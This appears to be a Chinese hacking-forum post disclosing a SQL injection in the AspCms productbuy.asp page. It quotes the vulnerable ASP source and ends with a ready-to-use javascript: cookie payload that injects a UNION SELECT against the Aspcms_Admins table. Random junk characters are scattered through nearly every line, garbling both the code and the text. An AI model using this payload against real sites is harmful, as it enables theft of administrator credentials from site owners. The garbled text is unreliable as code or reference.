好久没上土司了,上来一看发现在删号名单内.....3 f# ^% A; ^- v. l l: g# d) W
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
3 v- K- h( ?) h废话不多说,看代码:, ~4 }' J- }9 r3 _& c" a
" o2 P8 g) R, ]9 Z; d ~<%
) \! V1 I- t; h' k" W1 r: A6 Q, v- h) t2 ]
if action = "buy" then$ V0 U, U/ Y! K1 e1 m6 O
) y: l, B+ I* ?2 l addOrder()
8 j. c; N# X$ ~/ j5 P" A G m% T* ~% B1 g4 W$ x; k% h+ o/ u- Z
else
5 e5 W" H% x; G' G; g4 c9 R& W' ~
' z# _% u) X1 v( L echoContent()
" X( w0 C6 r! r- z1 Y2 w
+ l* P! K3 C- @3 I/ o! ~0 Wend if+ U% O- v; O4 v/ d Z/ w) l
; l1 k2 U# o! ~
$ v% n' w* R. f0 r# i- @; c4 C1 Q+ f( P) M2 A2 T; w
……略过
# f& |/ d, j/ k" u6 m4 h2 y5 a
' t' A) C/ c% j4 d' a
" p* `/ D/ C t* B6 @0 E& F
. S3 s, J7 z8 M; S8 @+ iSub echoContent()
# Y3 n* U8 M3 y. O. y1 M* M& c3 R6 d7 C; A R" K% R
dim id( \7 _/ b" |2 B* B3 A6 j) h
& [( h" J; H; t9 j. c/ s6 J
id=getForm("id","get")" T1 u/ B/ A, B f8 U
z3 J$ x' Z4 Q1 S% U * D; V. F) [2 m3 `
4 M# H. d) ?0 l" ?$ d if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
# t9 \/ {/ j+ `3 [2 |: c1 t, c+ G) l& l
0 o% v& K s- f# q' j6 W+ K
4 R- ~: T; {5 W* M& r$ a: | dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
9 K$ x7 z* e- r4 ?% [' ?/ w/ a- m* d8 e' n% f8 ]
dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
/ {2 F z' h4 M0 i |/ W0 F5 o" k5 X4 r9 n* j( n; j" w
Dim templatePath,tempStr
: C& H" w. v& I! f7 r6 f2 n9 E( G* k& z6 x4 s- B5 \6 q- T
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
8 w& c3 t& E |* T+ N. H }
, l: V" n5 D! D& H% t, H
) [9 V; y6 s0 s' w7 w1 F; |! T/ m- m9 o7 E$ K& B( O5 G
set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")) z* ?. y) u$ n% |# r
4 b4 ~* h' u! D' b' O
selectproduct=rsObj(0) ]! J" M1 W9 j( ?* Z I' C
/ D; A8 n: y2 F, m0 `
% Y, J+ {) {) }7 ~8 \: T, d
4 }. P$ i6 d; P# Z6 Q1 n Dim linkman,gender,phone,mobile,email,qq,address,postcode& q; I( Z' _- i
) f; X1 y* x3 Y if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0
, d# o, z/ X$ b6 _) k( x' {, |, p4 D) d' m" A
if rCookie("loginstatus")=1 then
$ E6 ?. D+ H! _; S N' u$ f2 |& R: U7 P# Q2 P
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
9 f' s! j* }7 ~) p2 z1 E" s1 w: A' T) Y
linkman=rsObj("truename")
0 v0 f. V' k- Z7 p* H* e6 _ [6 L% i" d5 x
gender=rsObj("gender")/ @9 o( C" `: C! A1 P K1 T
4 A4 ]. B7 D- q/ T
phone=rsObj("phone")
' Y- Z) x# ]0 t
# w- I! n! N, G9 U mobile=rsObj("mobile")" q5 C6 H) i: B% I. P- S, I% K* `
0 M; q" m/ V0 x5 v! f, } email=rsObj("email")0 D& F+ W; x; [6 {: @6 T) e# d
2 F/ F& K9 n& K; B' P* c, X$ z1 g0 \( R
qq=rsObj("qq"); p' ]* s4 @; A5 B) a q
3 B: P% ?% s q! s
address=rsObj("address")
5 U; H- {( a$ W9 Q6 h8 D; Q" V" n& B) \4 o7 I0 @; w3 I& z
postcode=rsObj("postcode")
) v3 n% U# { l" y& \- t* Q E0 h0 [) s# Q- j O4 w# D% v1 R
else 3 c2 d! M- _2 o# j- J6 M h+ c
1 P9 q' f; e+ [8 i gender=1$ X6 y2 \7 q9 ]3 h" k0 S7 p1 k. [5 G' q
1 k# l# v C8 n8 D
end if
2 t9 x. {) a! h
/ o" j' G8 R2 Y7 l rsObj.close()
' ~! u$ V! ]+ k9 a8 D9 B: Y+ U) Q& h8 t0 q& t# X% ?
[; J# d8 e. |+ v u- q
. ^& p3 n! b4 Z R( E4 F# k: h5 z. F with templateObj
; V8 q" ]7 ?* V+ R: j3 M& l
! d6 ~( e0 M2 T6 ] .content=loadFile(templatePath)
' C5 i9 z) v1 r3 C3 s4 u6 ?1 {% J, ~+ q, ^5 U! r. o3 a
.parseHtml()
" J2 V2 @3 @- H7 c
$ r6 }7 _, R0 \. p6 I .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
3 Q8 `! e: F* P/ ?& \% i2 M$ ?8 D5 P) D
.content=replaceStr(.content,"[aspcms:linkman]",linkman)
+ t# R3 R: N9 t7 }8 o; m& f9 a8 R M9 ?
.content=replaceStr(.content,"[aspcms:gender]",gender) 8 j% j6 Q. l& F8 ~; \+ x2 A
- V% ]) q" o( U F9 a1 w. Z
.content=replaceStr(.content,"[aspcms:phone]",phone)
4 l# L( s- i( J/ B/ C' P5 |, a. r. Z
.content=replaceStr(.content,"[aspcms:mobile]",mobile) ( \) e4 F/ Z- }( x, I
; a# U6 Q3 q# U# O
.content=replaceStr(.content,"[aspcms:email]",email)
) m8 e+ ^3 ~1 T9 B3 t8 u0 r, l3 h) N2 W- {1 Y$ X# D
.content=replaceStr(.content,"[aspcms:qq]",qq) 1 Q( T0 J+ b% V/ D/ D7 ?4 t
, H/ \6 n4 m1 B .content=replaceStr(.content,"[aspcms:address]",address) # W# c+ @+ W! z! C. K. r# P
6 ^- c# e7 b, Q, B
.content=replaceStr(.content,"[aspcms:postcode]",postcode) + ?. r d O% q/ C
; ?, K! Z y8 N& y3 H .parseCommon() O& @' J; i2 r. ?! h" d, Q; o
, q: N- E* P- v" b echo .content
& f5 b& S P, c. b. E
% g5 e+ V1 D/ i7 o; }% ~ end with& a6 ~0 {7 v4 N, K- @' x
$ G3 L/ u. T) q8 x1 W
set templateobj =nothing : terminateAllObjects
+ P8 u* l7 _& G3 C
2 n* P! h, B8 H2 BEnd Sub
; G8 `" [* d5 C) ]漏洞很明显,没啥好说的
+ o9 K R4 h5 y6 x. T& npoc:
3 X& s6 P* ]/ f+ Y% |' p2 s3 e8 \5 h8 C: z8 b
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子$ g0 [6 R) I( I5 T0 \+ ?
( W0 E9 l- c8 ` w2 Q& J) a |